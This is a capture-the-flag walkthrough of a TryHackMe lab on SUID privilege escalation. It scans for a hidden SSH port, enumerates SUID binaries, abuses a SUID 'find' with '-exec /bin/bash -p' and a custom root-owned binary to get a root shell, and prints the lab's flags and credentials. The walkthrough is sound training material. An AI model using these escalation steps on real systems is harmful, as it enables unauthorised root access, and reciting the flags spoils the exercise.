

Day 8 - SUID Shenanigans

Scenario

Task 13 [Day 8] SUID Shenanigans



Elf Holly is suspicious of Elf-ministrator and wants to get onto the **root** account of a server he setup to see what files are on his account. The problem is, Holly is a low-privileged user.. can you escalate her privileges and hack your way into the root account?

Deploy and SSH into the machine.

Username: holly

Password: tuD@4vt0G***TU**

SSH is not running on the standard port.. You might need to nmap scan the machine to find which port SSH is running on.

nmap <machine_ip> -p <start_port>-<end_port>

Read the supporting materials [here](#).

now let's access to Elf Holly SSH account and check out this sus Elf-mistrator account.

port 22 connection refused? ok so seems like the SSH is not running on the default SSH port

```
(nobodyatall@0xDEADBEEF)-[~/Desktop/research]
$ ssh holly@10.10.186.140
ssh: connect to host 10.10.186.140 port 22: Connection refused
(nobodyatall@0xDEADBEEF)-[~/Desktop/research]
```

let's use masscan to find out the ssh port

//port 65534?

```
(nobodyatall@0xDEADBEEF)-[~]
$ sudo masscan -p1-65535 -e tun0 10.10.186.140

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-11-28 16:59:40 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 65534/tcp on 10.10.186.140
```

let's use netcat to grab the banner & yes it's a ssh port

```
(nobodyatall@0xDEADBEEF)-[~/Desktop/research]
$ nc -v 10.10.186.140 65534
10.10.186.140: inverse host lookup failed: Unknown host
(UNKNOWN) [10.10.186.140] 65534 (?) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
```

Question: What port is SSH running on?
-65534

now let's login into Elf Holly SSH account & we're in

```
(nobodyatall@0xDEADBEEF)-[~/Desktop/research]
$ ssh -p 65534 holly@10.10.186.140
holly@10.10.186.140's password:
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Last login: Sat Dec 7 22:04:05 2019 from 10.0.0.20
holly@ip-10-10-186-140:~$
```

let's check out the .bash_history see what does this sus holly does on his account
//finding suid bit for root user? that's kinda sus

```

holly@ip-10-10-186-140:~$ cat .bash_history
find
find -name
find / -user root -perm -4000 -print 2>/dev/null
find pentestlab -exec whoami \;
touch test
find test -exec whoami \;
ls -la
rm .bash_history
exit
ls
ls -la
cat /home/igor/
cat /home/igor/flag1.txt
ls
cat .bash_history
ls -la
sudo su igor
su igor
ls
rm test
holly@ip-10-10-186-140:~$

```

now let's find the suid bit that we can use to privilege escalate
 //we've found a sus suid binary that owned by igor user

```

holly@ip-10-10-186-140:~$ find / -user igor -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-rwsr-xr-x 1 igor igor 221768 Feb  7  2016 /usr/bin/find
-rwsr-xr-x 1 igor igor 2770528 Mar 31  2016 /usr/bin/nmap
holly@ip-10-10-186-140:~$

```

let's use it to privilege escalate to igor user & now our euid bit are set to igor user

```

holly@ip-10-10-186-140:~$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-4.3$ id
uid=1001(holly) gid=1001(holly) euid=1002(igor) groups=1001(holly)
bash-4.3$

```

Question: Find and run a file as igor. Read the file /home/igor/flag1.txt

```

bash-4.3$ cat /home/igor/flag1.txt
THM{d3f0708bdd9accda7f937d013eaf2cd8}
bash-4.3$

```

Now let's find another binary that's belong to root user

```

-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
holly@ip-10-10-186-140:~$ find / -user root -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

```

this system-control binary seems kinda sus here as normally this binary aren't exist in the unix system

```
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7396/usr/sbin/ppp  
-rwsrwxr-x 1 root root 8880 Dec 7 2019 /usr/bin/system-control  
-rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newuidmap
```

let's check it out what does the system-control binary does

//so it seems like it'll set the uid to 0 & exec the command

```
holly@ip-10-10-186-140:~$ /usr/bin/system-control
```

```
==== System Control Binary ====
```

```
Enter system command: id
```

```
uid=0(root) gid=1001(holly) groups=1001(holly)
```

```
holly@ip-10-10-186-140:~$
```

let's break out from the restricted system control binary to get root shell & voila now our uid are 0 which is root now

```
holly@ip-10-10-186-140:~$ /usr/bin/system-control
```

```
==== System Control Binary ====
```

```
Enter system command: /bin/bash -p
```

```
root@ip-10-10-186-140:~# id
```

```
uid=0(root) gid=1001(holly) groups=1001(holly)
```

```
root@ip-10-10-186-140:~#
```

Question: Find another binary file that has the SUID bit set. Using this file, can you become the root user and read the /root/flag2.txt file?

```
root@ip-10-10-186-140:~# cat /root/flag2.txt
```

```
THM{8c8211826239d849fa8d6df03749c3a2}
```

```
root@ip-10-10-186-140:~#
```